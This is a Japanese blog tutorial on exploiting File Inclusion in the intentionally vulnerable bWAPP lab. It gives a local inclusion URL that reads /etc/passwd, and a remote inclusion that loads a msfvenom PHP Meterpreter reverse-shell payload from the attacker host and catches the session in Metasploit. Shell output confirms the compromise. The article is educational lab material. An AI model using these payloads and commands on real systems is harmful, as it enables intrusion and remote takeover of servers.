bWAPP に対して File Inclusion 攻撃を行う

WEBアプリケーション

この記事では、bWAPP に存在する File Inclusion の脆弱性を突いた攻撃を実際に行う方法を紹介します。

なお、以下の環境でハッキングを行います。

役割端末IP アドレス
攻撃端末Kali linux10.0.0.106
ターゲット端末bee-box (bWAPP)10.0.0.105

bWAPP のインストールについては以下記事をご覧ください。

File Inclusion とは?

File Inclusion とは、WEBアプリケーションにファイルを参照するコードがあった場合に意図しないファイルを実行させることで、機密データの取得やシステムの乗っ取りを行う攻撃です。

なお、File Inclusion は、Local File Inclusion (LFI) と Remote File Inclusion (RFI) の2つに大別することができます。

Local File Inclusion (LFI)

WEB サーバが持っているファイルを不正に参照する攻撃を Local File Inclusion と言います。
例えばパスワードファイルやサーバのOS情報はサーバ内に存在するため、これらのファイルを参照する攻撃は Local File Inclusion に分類されます。

Remote File Inclusion (RFI)

WEB サーバが持っているファイルではなく、外部のファイルを参照させる攻撃を Remote File Inclusion と言います。
例えば、攻撃者が作成した任意のスクリプトを実行させるような攻撃は Remote File Inclusion に分類されます。

bWAPP の File Inclusion ページを開く

File Inclusion 攻撃を行うため、bWAPP の該当ページを表示します。

Kali で Firefox を起動し URL 部に「http://10.0.0.105/bWAPP」を入力し、 bWAPP にアクセスします。

bWAPP のログインページが開くので以下の通り入力し、ログインします。

Login: bee
Password: bug
Set the security level: low

以下の画像のように「Choose your bug:」箇所から”Remote & Local File Inclusion (RFI/LFI)”を選択し Hack をクリックします。

クリック後以下のページが表示されます。
このページで LFI を行います。

Local File Inclusion (LFI) を行う

「Remote & Local File Inclusion (RFI/LFI)」ページで、実際に LFI を行います。
まずはページの挙動を確認するため、「Select a language:」に”English”が選択された状態で Go をクリックします。
すると以下ページが表示されました。

ページは「Thanks for your interest in bWAPP!」と表示されたのみです。
URL 部を見てみると「http://10.0.0.105/bWAPP/rlfi.php?language=lang_en.php&action=go」となっており、「lang_en.php」ファイルが実行されることでページが表示されていると推測できます。

そのため、「language = 」以降の文字列を「/etc/passwd」に変更し、 bee-box 内の passwd ファイルを確認する LFI を試みます。

上図の通り「/etc/passwd」の中身がページ上に表示されました。このことから LFI は成功しており、脆弱性が存在することがわかります。

Remote File Inclusion (RFI) を行う

LFI を行ったときと同じページで、今度は RFI を行います。

ペイロードの作成

上述した通り RFI は外部のファイルを参照させる攻撃のため、参照させたいファイルを用意します。
今回は PHP 用のリバースシェルを参照させ、攻撃端末(Kali)とターゲット端末(bee-box)でセッションを確立させることをゴールとしたいと思います。そのため、まずは PHP 用のリバースシェルを作成します。

PHP 用のリバースシェル作成は以下コマンドで行います。

msfvenom -p php/meterpreter_reverse_tcp LHOST=<Kali の IP アドレス> LPORT=<待受ポート> -f raw -o <出力先ファイル>
root@kali:~# msfvenom -p php/meterpreter_reverse_tcp LHOST=10.0.0.106 LPORT=4444 -f raw -o /var/www/html/evil.txt
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 30686 bytes
Saved as: /var/www/html/evil.txt
root@kali:~#

※ペイロード名は「php/meterpreter_reverse_tcp」です。「php/meterpreter/reverse_tcp」でないことに注意してください。

WEBサーバの公開ディレクトリである「/var/www/html/」に格納したので、アクセスできるようにするために Apache2 サービスを起動します。

root@kali:~# service apache2 restart
root@kali:~#

リバースシェルからの接続を待ち受ける

ファイルが作成できたら、Kali をリバースシェルからの接続を待ち受ける状態にします。
はじめに Metasploit を起動します。

root@kali:~# msfconsole
---中略---
msf5 >
msf5 > use multi/handler
msf5 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf5 exploit(multi/handler) > set LHOST 10.0.0.106
LHOST => 10.0.0.106
msf5 exploit(multi/handler) > set PAYLOAD php/meterpreter_reverse_tcp 
PAYLOAD => php/meterpreter_reverse_tcp
msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.0.0.106:4444

RFI を行いペイロードを実行させる

「Remote & Local File Inclusion (RFI/LFI)」ページを開き、RFI を行います。
URI 部に「10.0.0.105/bWAPP/rlfi.php?language=http://10.0.0.106/evil.txt」と入力しアクセスします。

以下のページが表示され、Firefox の該当タブは処理中のアイコンになっています。

msfconsole を見てみると、セッションが確立されていました。

msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.0.0.106:4444 
[*] Meterpreter session 1 opened (10.0.0.106:4444 -> 10.0.0.105:40025) at 2020-04-20 08:24:54 -0400

meterpreter >

bee-box と確立されているかどうか、コマンドを実行して確かめてみます。

meterpreter > sysinfo
Computer    : bee-box
OS          : Linux bee-box 2.6.24-16-generic #1 SMP Thu Apr 10 13:23:42 UTC 2008 i686
Meterpreter : php/linux
meterpreter > shell
Process 17482 created.
Channel 0 created.
whoami
www-data
pwd
/var/www/bWAPP

上記の通り bee-box の情報が取得できています。このことから bee-box とセッションを確立できていることがわかります。

このように、RFI の脆弱性から外部ファイルのペイロードを参照させ、セッションの確立、シェルの奪取まで行えることがわかりました。

今回は以上です。

くどり

この記事は「ハッキング・ラボのつくりかた 第7章 」をベースに作成しています。購入リンクは以下です。
※Amazonアソシエイトを使用しています。

コメント

タイトルとURLをコピーしました